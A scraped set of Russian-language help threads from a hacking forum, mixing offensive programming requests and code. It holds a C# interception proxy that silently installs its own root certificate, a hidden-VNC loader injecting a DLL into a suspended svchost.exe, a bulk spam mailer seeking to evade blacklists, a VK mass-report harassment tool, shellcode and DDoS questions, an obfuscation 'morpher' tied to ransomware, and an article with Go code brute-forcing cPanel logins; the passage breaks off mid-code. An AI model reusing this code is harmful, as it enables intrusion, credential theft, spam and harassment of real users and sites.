                //RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);



                //// устанавливаем значения в реестре Windows для всех браузеров

                //registry.SetValue("ProxyServer",

                //                  $"{proxyServerAddress}:{proxyServerPort}");



                //registry.SetValue("ProxyEnable",

                //                  "1");

                //InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);

                //InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);

                Console.WriteLine("Прокси были применены_________________________");

            }

            catch (Exception ex)

            {

                Console.WriteLine(ex.ToString());

            }

        }



        public static void UnsetProxy()

        {

            //RegistryKey registry = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);

            //RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);

            //string proxyAddr = proxyhost.Split(':')[0];

            try

            {

                RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);



                // Отключить использование прокси-сервера

                registry.SetValue("ProxyEnable", 0);



                // Удалить адрес и порт прокси-сервера

                registry.DeleteValue("ProxyServer", false);



                // Применить настройки

                registry.Close();

                RefreshInternetSettings();



                //registry.SetValue("ProxyEnable", 0);

                //registry.SetValue("ProxyServer", 0);

                //if ((int)registry.GetValue("ProxyEnable", 1) == 1)

                //    Console.WriteLine("");

                //else { }

                //InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);

                //InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);



            }

            catch (Exception ex)

            {

                Console.WriteLine(ex.ToString());

            } //{ //Console.WriteLine("Ошибка: " + ex.ToString()); }



        }

        private static void RefreshInternetSettings()

        {

            // Обновить настройки Интернета

            InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);

            InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);

        }

И есть такой код для отлова пакетов и переадресации с vk.com на youtube.com

C#:Copy to clipboard

public static ProxyServer proxyServer = new ProxyServer();



 public static void Start()

        {



                proxyServer.CertificateManager.CertificateEngine = CertificateEngine.BouncyCastle;







                var endpoint = new ExplicitProxyEndPoint(System.Net.IPAddress.Any, 8484, true);

                proxyServer.AddEndPoint(endpoint);

                proxyServer.ServerCertificateValidationCallback += OnCertificateValidation;

                proxyServer.BeforeRequest += OnRequest;

                //proxyServer.ClientCertificateSelectionCallback -= OnCertificateSelection;

                //Thread.Sleep(1000);

                X509Certificate2 cert = new X509Certificate2(Path.Combine(System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "rootCert.pfx"));



                // создаем объект хранилища корневых сертификатов

                X509Store store = new X509Store(StoreName.Root, StoreLocation.LocalMachine);



                // открываем хранилище для записи

                store.Open(OpenFlags.ReadWrite);



                // добавляем сертификат в хранилище

                store.Add(cert);



                // закрываем хранилище

                store.Close();

                proxyServer.Start();

                Console.WriteLine("ОСНОВНОЙ СЕРВЕР ЗАПУСТИЛИ!");





        }



        public static void Stop()

        {

            proxyServer.BeforeRequest -= OnRequest;

            proxyServer.Stop();

            Console.WriteLine("СТОПАНУЛ СЕРВАК!!!!!!!!!!!!!!!!!!!!!!!!!!!!");

        }



        private static async Task OnRequest(object sender, SessionEventArgs e)

        {



            Console.WriteLine("Зашли в редирект");

            Console.WriteLine(e.HttpClient.Request.RequestUri.Host.ToString());

            var host = e.HttpClient.Request.RequestUri.Host.ToLower();

            var host_ip = e.HttpClient.Request.RequestUriString.ToLower();

            Console.WriteLine(host);

            Console.WriteLine(host_ip);



            if (e.HttpClient.Request.RequestUri.Host.ToString().Contains("vk.com"))

            {

                Console.WriteLine("Редиректаем на ЮТТТТТТТТТТТТТТТТТТТТТТТТТТТТТ");

                e.Redirect("https://youtube.com");

                Console.WriteLine("РЕДИРЕКТНУЛИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИ");

            }



        }





    

        //static extern IntPtr GetForegroundWindow();



        private static Task OnCertificateValidation(object sender, CertificateValidationEventArgs e)

        {

            // игнорирование некоторых ошибок SSL-сертификата

            if (e.SslPolicyErrors == System.Net.Security.SslPolicyErrors.None)

            {

                e.IsValid = true;

            }



            if (e.SslPolicyErrors == System.Net.Security.SslPolicyErrors.RemoteCertificateChainErrors)

            {

                foreach (X509ChainStatus chainStatus in e.Chain.ChainStatus)

                {

                    if (chainStatus.Status != X509ChainStatusFlags.RevocationStatusUnknown &&

                        chainStatus.Status != X509ChainStatusFlags.NoError)

                    {

                        e.IsValid = false;

                    }

                }



                e.IsValid = true;

            }



            //return false;

            return Task.CompletedTask;

        }

Я думал, что не работает код для отлова пакетов и переадресации с vk.com на youtube.com на других компьютерах, хотя в нём нет ошибок и скачаны все нужные для его работы библиотеки, на моём компьютере он работает,но, когда мой друг запускает его, то он не работает, я немного подебажил его, проводил тесты и увидел, что программа не работает из-за того, что, скорее всего, не устанавливаются прокси в систему, потому что, когда мой друг сам в настройках системы указал адрес прокси "127.0.0.1" и нужный порт, потом запустил мой код, то он начал ловить пакеты и делать переадресацию, в настройках браузера используются системные прокси, но, видимо, мой код, почему-то, не устанавливает в настройки системных прокси адрес прокси "127.0.0.1" и нужный порт, как решить эту проблему, с чем она может быть связана?

Ошибки при компиляции
ID: 6765d804b4103b69df375967
Thread ID: 57040
Created: 2021-09-24T16:37:54+0000
Last Post: 2021-09-24T20:00:39+0000
Author: darkman666
Replies: 4 Views: 236

Всем ку
Пытаюсь собрать исходники но вылетают ошибки подскажите как исправить

Spoiler: Ошибки

Серьезность Код Описание Проект Файл Строка Состояние подавления
Ошибка C2275 'AD_CONTEXT' : illegal use of this type as an expression testvnc C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 51
Ошибка C2146 syntax error : missing ';' before identifier 'AdContext' testvnc C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 51
Ошибка C2065 'AdContext' : undeclared identifier testvnc C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 51
Ошибка C2059 syntax error : '{' testvnc C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 51
Ошибка C2065 'AdContext' : undeclared identifier testvnc C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 52
Предупреждение C4133 'function' : incompatible types - from 'int *' to 'PAD_CONTEXT' testvnc C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 52
Ошибка C2065 'AdContext' : undeclared identifier testvnc C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 54

Spoiler: Сам код

C++:Copy to clipboard

#include "../common/common.h"
#include "../acdll/image.h"
#include "../acdll/activdll.h"

#include <ShlObj.h>
#include <Shlwapi.h>

#include "vncdll32.h"
#include "vncdll64.h"

HANDLE g_AppHeap = 0;

PVOID __stdcall    AppAlloc(ULONG Size)
{
    return Alloc(Size);
}

void __stdcall AppFree(PVOID pMem)
{
    Free(pMem);
}

PVOID __stdcall    AppRealloc(PVOID pMem, ULONG Size)
{
    return Realloc(pMem, Size);
}

static BOOL InitAdContext(PAD_CONTEXT pAdContext)
{
    pAdContext->pModule32 = (ULONGLONG)(LPVOID)vncdll32;
    pAdContext->Module32Size = sizeof(vncdll32);

#ifndef _WIN64
    if (g_CurrentProcessFlags & GF_WOW64_PROCESS)
#endif
    {
        pAdContext->pModule64 = (ULONGLONG)(LPVOID)vncdll64;
        pAdContext->Module64Size = sizeof(vncdll64);
    }

    return TRUE;
}

static BOOL ExecuteInject(void)
{
    BOOL ok = FALSE;

    if (NO_ERROR != InitGlobals(GetModuleHandle(NULL), G_SYSTEM_VERSION | G_CURRENT_PROCESS_ID))
        return ok;

    AD_CONTEXT AdContext = { 0 };
    if (InitAdContext(&AdContext))
    {
        if (NO_ERROR == AcStartup(&AdContext, FALSE))
        {
            PsSupDisableWow64Redirection();

            WCHAR System32Path[MAX_PATH] = { 0 }, Path[MAX_PATH * 2] = { 0 };
            if (S_OK == SHGetFolderPathW(NULL, CSIDL_SYSTEM, NULL, SHGFP_TYPE_CURRENT, System32Path))
            {
                PROCESS_INFORMATION pi = { 0 };
                STARTUPINFOW si = { 0 };
                si.cb = sizeof(STARTUPINFOW);

                WCHAR MyPath[MAX_PATH];
                DWORD copied = 0;
                GetModuleFileNameW(NULL, MyPath, MAX_PATH);

                PathCombineW(Path, System32Path, L"svchost.exe -k");
                ok = CreateProcessW(NULL, Path, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | CREATE_SUSPENDED, NULL, NULL, &si, &pi);


                //PathCombineW(Path, System32Path, L"taskhost.exe");
                //ok = CreateProcessW(NULL, Path, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | CREATE_SUSPENDED, NULL, NULL, &si, &pi);
                //if (!ok)
                //{
                //    PathCombineW(Path, System32Path, L"taskhostw.exe");
                //    ok = CreateProcessW(NULL, Path, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | CREATE_SUSPENDED, NULL, NULL, &si, &pi);
                //    if (!ok)
                //    {
                //        PathCombineW(Path, System32Path, L"tracert.exe");
                //        ok = CreateProcessW(NULL, Path, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
                //    }
                //}

                if (ok)
                {
                    DbgPrint("CreateProcessW ok, %d", pi.dwProcessId);
                    ok = (NO_ERROR == AcInjectDll(&pi, CREATE_SUSPENDED, TRUE));
                    DbgPrint("AcInjectDll %s", ok ? "ok" : "FAIL");
                    CloseHandle(pi.hThread);
                    CloseHandle(pi.hProcess);
                }
                else
                    DbgPrint("CreateProcessW FAIL");
            }

            PsSupEnableWow64Redirection();
            AcCleanup();
        }
    }

    return ok;
}

// для работы ехе
int main(void)
{
    DbgPrint("Starting back VNC in separate process...");
    ExecuteInject();
    return 0;
}

// для работы dll
BOOL APIENTRY DllMain(HMODULE Module, DWORD ReasonForCall, LPVOID Reserved)
{
    if (DLL_PROCESS_ATTACH == ReasonForCall)
        main();
    return TRUE;
}
[C#]Как не попадать в BL(спам лист) почты
ID: 6765d804b4103b69df3758aa
Thread ID: 69934
Created: 2022-07-11T03:36:36+0000
Last Post: 2022-07-12T07:08:36+0000
Author: Ags1of
Replies: 4 Views: 235

Хотел бы поинтересоваться, как можно не попадать в спам лист почты рамблер, может как-то подкручивать прокси или что можно ещё сделать? Я вот попал, теперь буду ждать или связываться с тх, чтобы выйти оттуда. Но,подскажите, пожалуйста, как в дальнейшем избежать попадание туда? Может кто знает? Оставлю код, по которому идёт отправка:

C#:Copy to clipboard

SmtpClient cs = new SmtpClient("smtp.rambler.ru");
string nik = guna2TextBox7.Text;
mail.From = new MailAddress(MyEmailsSort[schetchik], nik);
mail.To.Add(emails[i]);
mail.Subject = Subject;
mail.Attachments.Add(new Attachment(Pathis));
mail.Body = message;

cs.Port = 587;
cs.EnableSsl = true;
string log = MyEmailsSort[schetchik];
string pass = MyEmailsSort[schetchik + 1];

if (log == null && pass == null)
{
    MessageBox.Show("Почты закончились.");
}
cs.Credentials = new NetworkCredential(MyEmailsSort[schetchik], MyEmailsSort[schetchik + 1]);
cs.Send(mail);
Парсинг C#
ID: 6765d804b4103b69df375939
Thread ID: 59504
Created: 2021-11-30T14:33:16+0000
Last Post: 2021-11-30T15:45:16+0000
Author: Ags1of
Replies: 1 Views: 234

Приветствую всех. Помогите спарсить нужные данные с сайта. https://vin01.ru/ вот сайт. Ввожу VIN или гос.номер и надо спарсить ответ, который сайт отправит1638282768130.png
спарсить нужно отсюда всё. Помогите, пожалуйста

[C#] VkNet
ID: 6765d804b4103b69df375903
Thread ID: 62880
Created: 2022-02-12T22:20:05+0000
Last Post: 2022-02-13T19:32:23+0000
Author: Ags1of
Replies: 10 Views: 232

C#:Copy to clipboard

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using VkNet;
using VkNet.Model;
using VkNet.Model.RequestParams;
using VkNet.Enums.Filters;
using VkNet.Enums.SafetyEnums;
using System.Threading;

namespace repaChino
{
    internal class Program
    {
        static void Main(string[] args)
        {

            string[] tokenS = {//Тут токены аккаунтов, с которых будут кидаться репорты };
            string token = //тут токен от аккаунта, на котором зарегано приложение;
            Console.Write("Enter userId of Enemy: ");
            long userId = long.Parse(Console.ReadLine());

            Console.WriteLine("Report Type: \n" +
                "1. porn\n" +
                "2. spam\n" +
                "3. insult\n" +
                "4.advertisment\n");

            int type = int.Parse(Console.ReadLine());

            Console.Write("Write the comment: ");
            string comment = Console.ReadLine();

            if (type == 1)
            {
                int counter = 0;
                try
                {

                    for (int i = 0; i < tokenS.Length - 1; i++)
                    {
                        var api = new VkApi();

                        api.Authorize(new ApiAuthParams
                        {
                            AccessToken = tokenS[i]
                        });
                        api.Users.Report(userId, ReportType.Advertisment, comment);
                        ++counter;
                        Thread.Sleep(1000);

                        Console.WriteLine($"Next rep {counter}");
                    }
                }
                catch
                {
                    Console.WriteLine("No");
                    
                }
                
            }

выдаёт такую ошибку: VkNet.Exception.ParameterMissingOrInvalidException: "One of the parameters specified was missing or invalid: Bad reason passed". Не знаю, что делать, некоторые источники смотрел, не нашёл ничего, кроме слов: пропустили какой-то параметр, а я, вроде как, не пропустил. Помогите

build проекта с++ x64
ID: 6765d804b4103b69df375937
Thread ID: 59560
Created: 2021-12-01T19:33:36+0000
Last Post: 2021-12-01T20:46:25+0000
Author: 777not999
Replies: 2 Views: 231

Привет. Подскажите новичку. Нужно сделать build проекта состоящего из файлов расширений в основном ".cpp", ".h" есть ".vcxproj", ".sln", ".asm". Проект не мой, изучаю. Дословно по инструкции написано так:
build the project as [x64] [Release] --- Note: it wont work if u compiled it as x86 ---

Спасибо.

Литература Java
ID: 6765d804b4103b69df37593c
Thread ID: 58891
Created: 2021-11-15T07:38:03+0000
Last Post: 2021-11-29T16:43:42+0000
Author: HackingNaJava
Replies: 2 Views: 231

Здравствуйте, в данный момент изучаю java, core более-менее знаю, но ещё планирую закрепить эти знания и затем пойти в разработку enterprise решений. Подскажите хорошую литературу, с английским у меня всё в порядке, поэтому литературу можно и зарубежную.

clang++, как уменьшить размер ехешник'а
ID: 6765d804b4103b69df375795
Thread ID: 97950
Created: 2023-09-12T23:13:38+0000
Last Post: 2023-09-13T00:03:53+0000
Author: ScaryKids
Replies: 1 Views: 230

Всем привет, мне нужно максимально сжать ехешник, который компилируется clang++. Я использую -static, -Os
и upx.

[C#]Как спарсить?
ID: 6765d804b4103b69df3758bc
Thread ID: 68002
Created: 2022-06-01T20:47:09+0000
Last Post: 2022-06-05T17:55:53+0000
Author: Ags1of
Replies: 3 Views: 230

Хочу сделать так, чтобы парсилось кол-во подписчиков на канале, но не знаю как.

C#:Copy to clipboard

            WebClient web = new WebClient();
            string LoadString = link;


            HtmlAgilityPack.HtmlDocument doc = new HtmlAgilityPack.HtmlDocument();
            doc.LoadHtml(LoadString);


            var NewNodes = doc.DocumentNode.SelectNodes("//*[@id=\"subscriber-count\"]").First().InnerText;

Но вылазит такая ошибка1654116408547.png
Также пробовал через регулярки делать, но всё тщетно

Как изменить текст в терминале linux language:c
ID: 6765d804b4103b69df3758c9
Thread ID: 66753
Created: 2022-05-08T15:00:07+0000
Last Post: 2022-05-11T08:22:44+0000
Author: sleepknot
Replies: 4 Views: 230

Всем привет, стоит задача сделать маломальский терминальный интерфейс.
Моя программа выводит данные, проценты выполнения того или иного действия.
Пример:

Code:Copy to clipboard

ID  Name    %   GPK
 1  Prog    54  20
14  Aleb    31  20
54  Bela    22  20

И мне нужно обновлять % в таблице, я думал можно как то перенести курсор, но как бы я не гугли, \r только одну строку изменить можно.
Мне не особо хочется для такой простой программы использовать ncurses и тд...
Мне кажется есть какая то либа которая позволит просто по кордам или же по другим признакам изменить символы на консоли.
Использовать system.clear тоже не вижу смысла.

Если мой пример плох, то мне нужно наподобие bashtop, htop, илиже вот такой прогресс бар как при sudo apt install:
1652021803000.png

Заранее спасибо!

Дерева переписыватель для C/C++
ID: 6765d804b4103b69df375745
Thread ID: 107350
Created: 2024-02-03T01:24:07+0000
Last Post: 2024-02-03T01:24:07+0000
Author: salsa20
Replies: 0 Views: 229

Вдохновившись темой https://xss.is/threads/106900/#post-748687 выложу код для реализации парса С/C++

Нам понадобится всего лишь Rust

Cargo.toml

Code:Copy to clipboard

[dependencies]
tree-sitter = "0.20.10"
tree-sitter-cpp = "0.20.3"
rand = "0.8.5"

main.rs (основной код программы который переписывает AST)

Code:Copy to clipboard

extern crate tree_sitter;
extern crate tree_sitter_cpp;
extern crate rand;

use tree_sitter::{Parser, Node};
use rand::Rng;


fn main() {
    let code = r#"
    #include <iostream>
    #include <vector>
    
    class Solution {
    public:
        double findMedianSortedArrays(std::vector<int>& nums1, std::vector<int>& nums2) {
            int m = nums1.size(), n = nums2.size();
            if(m > n) return findMedianSortedArrays(nums2, nums1);
            int lo = 0, hi = m, mid = (m + n + 1)/2;
            while(lo <= hi){
                int i = (lo + hi)/2;
                int j = mid - i;
                if(i < m && nums2[j - 1] > nums1[i])
                    lo = i + 1;
                else if(i > 0  && nums1[i - 1] > nums2[j])
                    hi = i - 1;
                else{
                    int maxLeft = (i == 0) ? nums2[j - 1] : (j == 0) ? nums1[i - 1] : std::max(nums1[i - 1], nums2[j - 1]);
                    int minRight = (i == m) ? nums2[j] : (j == n) ? nums1[i] : std::min(nums1[i], nums2[j]);
                    return (m + n) % 2 ? maxLeft : (maxLeft + minRight) / 2.0;
                }
            }
        }
    };
    
    int main() {
        /* trash code here */
        std::vector<int> nums1 = {1, 3};
        std::vector<int> nums2 = {2};
        Solution solution;
        /* trash code here */
        double median = solution.findMedianSortedArrays(nums1, nums2);
        std::cout << "Median: " << median << std::endl;
        /* trash code here */
        return 0;
    }
        "#;


        let mut parser = Parser::new();
        parser.set_language(tree_sitter_cpp::language()).expect("Error loading CPP grammar");
        let parsed = parser.parse(code, None).expect("Parsing error");
    
        let root_node = parsed.root_node();
    
        let mut code_string = String::from(code);
        let mut replacements = Vec::new();
    
        traverse_node(root_node, &code_string, 0, &mut replacements);
    
        for (start_byte, end_byte) in replacements.iter().rev() {
            let mut rng = rand::thread_rng(); // Initialize the random number generator

            let random_integer: i32 = rng.gen_range(1..=1000000);
            let formatted_string = format!("/* Random int = {} */", random_integer);

            code_string.replace_range(*start_byte..*end_byte, &formatted_string);
        }
    
        println!("Modified code:\n{}", code_string);
}

fn traverse_node(node: Node, code: &str, level: usize, replacements: &mut Vec<(usize, usize)>) {
    if node.kind() == "comment" {
        let comment_text = node.utf8_text(code.as_bytes()).unwrap();
        if comment_text.contains("trash code here") {
            let start_byte = node.start_byte();
            let end_byte = node.end_byte();
            replacements.push((start_byte, end_byte));
        }
    }

    let mut cursor = node.walk();
    for child in node.named_children(&mut cursor) {
        traverse_node(child, code, level + 1, replacements);
    }
}

Вкратце код меняет trash code hera на /* Random int = ...*/

То есть после запуска получим

C++:Copy to clipboard

Modified code:

    #include <iostream>
    #include <vector>
    
    class Solution {
    public:
        double findMedianSortedArrays(std::vector<int>& nums1, std::vector<int>& nums2) {
            int m = nums1.size(), n = nums2.size();
            if(m > n) return findMedianSortedArrays(nums2, nums1);
            int lo = 0, hi = m, mid = (m + n + 1)/2;
            while(lo <= hi){
                int i = (lo + hi)/2;
                int j = mid - i;
                if(i < m && nums2[j - 1] > nums1[i])
                    lo = i + 1;
                else if(i > 0  && nums1[i - 1] > nums2[j])
                    hi = i - 1;
                else{
                    int maxLeft = (i == 0) ? nums2[j - 1] : (j == 0) ? nums1[i - 1] : std::max(nums1[i - 1], nums2[j - 1]);
                    int minRight = (i == m) ? nums2[j] : (j == n) ? nums1[i] : std::min(nums1[i], nums2[j]);
                    return (m + n) % 2 ? maxLeft : (maxLeft + minRight) / 2.0;
                }
            }
        }
    };

    int main() {
        /* Random int = 446381 */
        std::vector<int> nums1 = {1, 3};
        std::vector<int> nums2 = {2};
        Solution solution;
        /* Random int = 259191 */
        double median = solution.findMedianSortedArrays(nums1, nums2);
        std::cout << "Median: " << median << std::endl;
        /* Random int = 629982 */
        return 0;
    }

Вообщем полезная утилита для морфа кода. Такой метод конти юзали ( в локере можете увидеть) )

HeapAlloc дает ошибку
ID: 6765d804b4103b69df3758a4
Thread ID: 70665
Created: 2022-07-26T01:35:33+0000
Last Post: 2022-07-26T12:18:06+0000
Author: n0kkster
Replies: 7 Views: 229

Приветствую!
Имеется такой вот код, который затем компилится в шеллкод и исполняется в другом процессе.

Spoiler: код

C:Copy to clipboard

    typedef HANDLE(WINAPI* PGETPROCESSHEAP)(VOID);
    typedef LPVOID(WINAPI* PHEAPALLOC)(HANDLE, DWORD, SIZE_T);
...     
    PGETPROCESSHEAP pGetProcessHeap = (PGETPROCESSHEAP)GetApiByHash(0x1dacacd3);
    HANDLE procheap = pGetProcessHeap();
    PHEAPALLOC pHeapAlloc = (PHEAPALLOC)GetApiByHash(0xe00e87fb);
    PBYTE holder = (PBYTE)pHeapAlloc(procheap, HEAP_ZERO_MEMORY, szPayload);
...

При вызове HeapAlloc, процесс падает. Однако если я вызову тот же код (за исключением лишь того, что не импортированный по апи) в том же процессе, все пройдет гладко.

Spoiler: код

C:Copy to clipboard

...
    HANDLE procheap = GetProcessHeap();
    PBYTE holder = (PBYTE)HeapAlloc(procheap, HEAP_ZERO_MEMORY, szPayload);
...

В чем ошибка может быть?

нужна помощь в сборке ддос
ID: 6765d804b4103b69df3758c6
Thread ID: 67128
Created: 2022-05-17T11:08:43+0000
Last Post: 2022-05-17T23:06:18+0000
Author: astronoutfargopanda
Replies: 1 Views: 229

C++:Copy to clipboard

HINTERNET internet = InternetOpenA("", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);
HINTERNET httprequest = InternetConnectA(internet, ip.c_str(), INTERNET_DEFAULT_HTTPS_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 1);
HINTERNET httpopenrequest = HttpOpenRequestA(httprequest, "GET", NULL, "HTTP/1.1", NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);

HttpSendRequestA(httpopenrequest, NULL, 0, NULL, 0);

InternetCloseHandle(internet);
InternetCloseHandle(httprequest);
InternetCloseHandle(httpopenrequest);

он останавливается на HttpSendRequestA
просто отправляет четыре запроса в WHILE (TRUE), затем останавливается и не проходит через HttpSendRequest

FileStream C#
ID: 6765d804b4103b69df37595a
Thread ID: 57862
Created: 2021-10-18T14:05:05+0000
Last Post: 2021-10-19T21:30:15+0000
Author: WhiteDragon
Replies: 3 Views: 229

создается FileStream и записывается туда в память, и в памяти нужно сдампить данные через FileStream.read(буфер, начало офсета, длина).
Все сделано по рецепту, но в конечном итоге байты куда-то выпадают и получаются неточные данные
Даже через FileStream.length и в буфер написанный length разные данные

Проблема с компилятором C++
ID: 6765d804b4103b69df375963
Thread ID: 57579
Created: 2021-10-11T07:02:36+0000
Last Post: 2021-10-11T12:28:37+0000
Author: SenctumSempra
Replies: 4 Views: 229

Друзья, столкнулся с проблемой, покупал разработку софта под свои нужды, разраб скинул исходники, я у себя смог собрать рабочий проект и проблем не было.

Собирал я проект заново почти каждый день и он прекрасно работал, спустя 2 недели софт перестал запускаться на других пк, только на том, на котором был собран

Разраб ушел в небытие, даже спросить не у кого

Помогите пожалуйста, курил гугл, но там ответы 2009г. и настройки старого VS, которых уже и в помине нет. Надеюсь на вашу помощь

Как установить отсутствующие файлы заголовков .h?
ID: 6765d804b4103b69df3757f0
Thread ID: 86920
Created: 2023-04-29T11:40:18+0000
Last Post: 2023-05-01T14:19:16+0000
Author: bit57
Replies: 2 Views: 225

132.png

Как установить недостающие в vscode.Заголовочный файл H Мой исходный код отсутствует, эти библиотечные файлы не могут быть запущены, куда мне обратиться, чтобы найти пакет коллекции или SDK для этих файлов заголовка Как мне его скомпилировать Я файл заголовка Linux в Windows

Брутфорсим cPanel на Си
ID: 6765d804b4103b69df375684
Thread ID: 129221
Created: 2024-12-18T13:18:08+0000
Last Post: 2024-12-18T14:01:36+0000
Author: miserylord
Prefix: Статья
Replies: 1 Views: 224

_Автор:miserylord
Эксклюзивно для форума: _xss.is

Приветствую! Чем порадуем этот мир сегодня? miserylord на связи!

Эта статья посвящена написанию брутфорса для cPanel на языке Си, сравнению скорости с брутфорсом, реализованным на Golang, и в целом методике взлома cPanel.

Что такое cPanel?

cPanel — это панель управления для веб-хостинга с графическим интерфейсом, предназначенная для управления веб-серверами и сайтами. Веб-хостинг отличается от серверов тем, что он виртуально разделён и, по сути, представляет собой «сервер, проданный по кусочкам». Однако cPanel можно установить и на VPS. В целом, это не имеет значения, где именно работает панель.

Стоит отметить, что существуют аналоги cPanel, такие как DirectAdmin, Webmin и другие. Брутфорс-атака на них будет устроена аналогичным образом.

Функционал панели действительно обширен: управление доменами, настройка электронной почты, работа с файлами, создание резервных копий, управление базами данных и многое другое.

Если недобросовестный человек получит доступ к cPanel, это может привести к катастрофическим последствиям для сайта и данных: кража базы данных, компрометация конфиденциальной информации, изменение конфигурации, доступ к почтовому серверу и домену.

Поиск cPanel

Для поиска cPanel воспользуемся Fofa. Дорка: title="cPanel Login". Стандартные порты — 2082 или 2083.

Реализация на Golang

Первым делом реализуем брутфорс на языке Golang. О брутфорс-атаках, а также о конкурентном программировании в Go я писал в статье про брутфорс почтовых сервисов. Golang заточен под удобное написание конкурентного кода. В двух словах, в Go существует концепция горутин — легковесных потоков, которые работают конкурентно, но не обязательно параллельно. Для синхронизации доступа к ресурсам используются мьютексы, а для ограничения числа потоков — концепция семафоров.

Я буду реализовывать брутфорс через веб-интерфейс. Насколько я успел понять, по умолчанию нет ограничений на количество попыток входа с одного IP. Пробую войти в аккаунт и, в devtools консоли, на вкладке "Network", анализирую запросы. Вижу POST-запрос на /login/?login_only=1. Content-Type: application/x-www-form-urlencoded указывает, что данные передаются через форму. Изучаю ответ: в поле message может быть как invalid_login, так и invalid_username. Сначала я написал код, который проверяет логин, и если ответ не равен invalid_username, invalid_login или no_username, то начинаем подбирать пароль. Но потом я понял, что не совсем уверен в правильности понимания ответов от API. В конце концов, я не нашел официальной документации, а ответы invalid_login и invalid_username казались рандомными. При этом на самой странице всегда было указано, что неверен именно логин. В итоге я решил реализовать логику через проверку статуса. Предполагаю, что статус 1 — это успешная авторизация. Более того, примеры таких ответов я нашел на Stack Overflow. Дополнительно я добавил проверку статуса сервера, используя логическое ИЛИ. Переходим к реализации кода.

C-like:Copy to clipboard

package main
   
    import (
        "bufio"
        "fmt"
        "io/ioutil"
        "net/http"
        "os"
        "strings"
        "sync"
        "time"
    )
   
    // 1
    var mu sync.Mutex
    var attemptCount int
    var wg sync.WaitGroup
   
    // 2
    func attemptLogin(host, login, password string) (*http.Response, error) {
        url := fmt.Sprintf("%s/login/?login_only=1", host)
        data := fmt.Sprintf("user=%s&pass=%s", login, password)
        req, err := http.NewRequest("POST", url, strings.NewReader(data))
        if err != nil {
            return nil, err
        }
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
        client := &http.Client{}
        return client.Do(req)
    }
   
    // 3
    func readFile(fileName string) ([]string, error) {
        file, err := os.Open(fileName)
        if err != nil {
            return nil, err
        }
        defer file.Close()
   
        var lines []string
        scanner := bufio.NewScanner(file)
        for scanner.Scan() {
            lines = append(lines, scanner.Text())
        }
   
        if err := scanner.Err(); err != nil {
            return nil, err
        }
   
        return lines, nil
    }
   
    // 4
    func appendToFile(fileName, text string) error {
        mu.Lock()
        defer mu.Unlock()
   
        file, err := os.OpenFile(fileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
        if err != nil {
            return err
        }
        defer file.Close()
   
        _, err = file.WriteString(text + "\n")
        return err
    }
   
    // 5
    func logAttemptsPerMinute() {
        for {
            time.Sleep(60 * time.Second)
            mu.Lock()
            currentCount := attemptCount
            mu.Unlock()
            err := appendToFile("attempts_log.txt", fmt.Sprintf("Попыток за последнюю минуту: %d", currentCount))
            if err != nil {
                fmt.Println("Ошибка при записи в файл attempts_log.txt:", err)
            }
            mu.Lock()
            attemptCount = 0
            mu.Unlock()
        }
    }
   
    // 6
    func containsStatusOne(response *http.Response) bool {
        body, err := ioutil.ReadAll(response.Body)
        if err != nil {
            fmt.Println("Ошибка при чтении тела ответа:", err)
            return false
        }
        bodyStr := string(body)
        fmt.Println(bodyStr)
   
        match := strings.Contains(bodyStr, "\"status\":1")
        return match
    }
   
    // 7
    func attemptLoginForHost(host string, logins, passwords []string, sem chan struct{}) {
        defer wg.Done()
        err := appendToFile("results.txt", fmt.Sprintf("Начинаем подбор для хоста: %s", host))
        if err != nil {
            fmt.Println("Ошибка при записи в файл:", err)
            return
        }
   
        for _, login := range logins {
            for _, password := range passwords {
                fmt.Printf("Пробуем логин: %s с паролем: %s на хосте %s\n", login, password, host)
   
                response, err := attemptLogin(host, login, password)
                if err != nil {
                    fmt.Println("Ошибка при попытке авторизации:", err)
                    continue
                }
                defer response.Body.Close()
   
                if containsStatusOne(response) || response.StatusCode != http.StatusUnauthorized {
                    result := fmt.Sprintf("Хост: %s, Логин: %s, Пароль: %s", host, login, password)
                    err := appendToFile("results.txt", result)
                    if err != nil {
                        fmt.Println("Ошибка при записи в файл:", err)
                    } else {
                        fmt.Printf("Результат: Логин: %s, Пароль: %s найден для хоста %s\n", login, password, host)
                    }
                }
   
                mu.Lock()
                attemptCount++
                mu.Unlock()
            }
        }
    }
   
    // 8
    func main() {
